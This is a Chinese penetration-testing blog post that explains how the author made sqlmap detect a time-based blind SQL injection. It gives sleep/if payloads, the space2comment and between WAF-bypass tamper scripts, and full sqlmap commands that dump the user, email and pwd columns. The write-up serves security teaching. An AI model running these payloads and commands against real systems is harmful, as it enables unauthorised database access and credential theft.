第31篇:一系列操作使sqlmap识别一个奇葩的延时注入点并绕waf的艰难过程

3742e409c441238f3b223b08dd9e610b.png

 Part1 前言 

在最近的一次渗透测试项目中,遇到了一个奇葩的SQL延时注入漏洞,sqlmap无法识别出来。但是客户非让在测试环境跑出数据进行验证,否则不认可这个漏洞的危害性。编写一个多线程的延时注入脚本是很麻烦的,于是ABC_123经过了一系列操作,最终成功让sqlmap识别这个注入点并成功枚举出数据,相信也能给大家很多的启示。

注:在读研那会儿,我曾经把sqlmap手册打印出来,从头到尾看了好多遍,多读读sqlmap手册,可以加深对sqlmap的理解。

 Part2 技术研究过程 

  • 注入漏洞判断过程

经过测试,发现这个注入点只能用uid=sleep(5)这种形式的payload才能发生延时,由于web应用对用户提交的数据进行了严格判断,所以sleep(5)函数左右不能有任何的单引号、双引号、and、or等等。尝试用sqlmap注入,结果发现sqlmap无论怎么配置参数,都是识别不出来这个注入点的。

a53ca26eb1dfca5bff5d4e5617824de7.png

  • Sqlmap无法注入的原因分析

 1   有waf或者Web应用程序本身对用户提交的数据进行了严格的过滤。这个可以结合sqlmap的tamper脚本来绕过。

 2   函数sleep(5)左右无法接逻辑连接字符and or || 等,导致sqlmap无法在合适的地方插入自己的注入语句。

 3   只要sleep(1)函数设置了延时时间,哪怕只设置了1秒,那么它也会一直延迟下去,直至超时,这种情况也是造成sqlmap无法识别的重要原因。

  • Sqlmap设置第1步,构造if函数

接下来怎么才能让sqlmap识别这个注入点呢,我想到了给注入语句加上一个if函数,利用插入*号的方法使sqlmap识别这个注入。

uid=if(1=1 and 1=1,sleep(5),1)  延时

uid=if(1=1 and 1=2,sleep(5),1)  不延时,证明语句可用。

4ecfff09f9987ebaf3a1f7ca1342d8bf.png

接下来在if语句中插入*,构造以下数据包,导出txt文本,用sqlmap -r c:\zhuru111.txt这样载入sqlmap中。

2846eefaafc19ff804bce1754d08fb89.png

  • Sqlmap设置第2步,绕过waf过滤

经过一系列手工判断,发现程序过滤了空格、< > ,还过滤了其它的字符,但是幸亏没干掉select,使得这个注入点跑出数据问题不大。解决这个过滤问题,可以使用sqlmap的绕waf脚本space2comment.py,between.py。

space2comment.py脚本代码如下,可以将空格替换为/**/注释符:

c63003214ca2e19bf3e879a3cb79d7ab.png

between.py脚本代码如下,将<  >替换为between 0 and 98形式的注入语句:

291cc0a287d47f7ff588bc5810bfd172.png

  • Sqlmap设置第3步,优化延时参数

经过上面两个步骤设置,sqlmap还是识别不出这个注入点的。接下来怎么办呢?经过一系列尝试,将sleep(5)值设置大一些,设置为延迟33秒,变成if(1=1*,sleep(33),1),然后添加延时参数--time-sec=5,最后加上--risk=3、--level=3,终于可以注入跑出数据了,最终的sqlmap的语句如下:

sqlmap.py -r c:\sql111.txt --force-ssl --proxy="http://127.0.0.1:8080/" --tamper=space2comment.py,between.py --batch --dbms=Mysql --technique BT --risk 3 --level 3 --time-sec 5 --current-db --threads 10

933d340c7bc18c3a11e356d8da49a5e4.png

  • Sqlmap设置第4步,快速枚举表及字段

使用sqlmap猜解出了数据库名,但是猜解表名是一个麻烦事,因为延时注入是一个字符一个字符的猜解,速度太慢了。但是我们可以挂一个字典让sqlmap来枚举表及字段,而不用一个字符一个字符地猜解,这样对于延时注入来说,速度更快。

命令如下--common-table --common-columns

很快猜解出了user表,然后很快猜解出了email,name,pwd等字段,接下来就是猜解数据了,最终我们构造出一个很复杂的sqlmap语句。

sqlmap.py -r c:\sql111.txt --force-ssl --proxy="http://127.0.0.1:8080/" --tamper=space2comment.py,between.py --batch --dbms=Mysql --technique BT --risk 3 --level 3 --time-sec 5 -T 数据库名 -C 表名 -C user,email,pwd --dump --threads 10

 Part3 总结 

1.  把sqlmap的手册多看看,多了解一下sqlmap的各种参数的使用说明,在日常渗透测试工作中会事半功倍。

2.  提前构造一个if(1=1,1,2)或者case when语句,可以使sqlmap可以识别一些奇葩的sql注入点。

2f1be58dd01cbfb211a9dfb6b1c9e521.png

专注于网络安全技术分享,包括红队攻防、蓝队分析、渗透测试、代码审计等

每周一篇,99%原创,敬请关注

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

希潭实验室

您的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值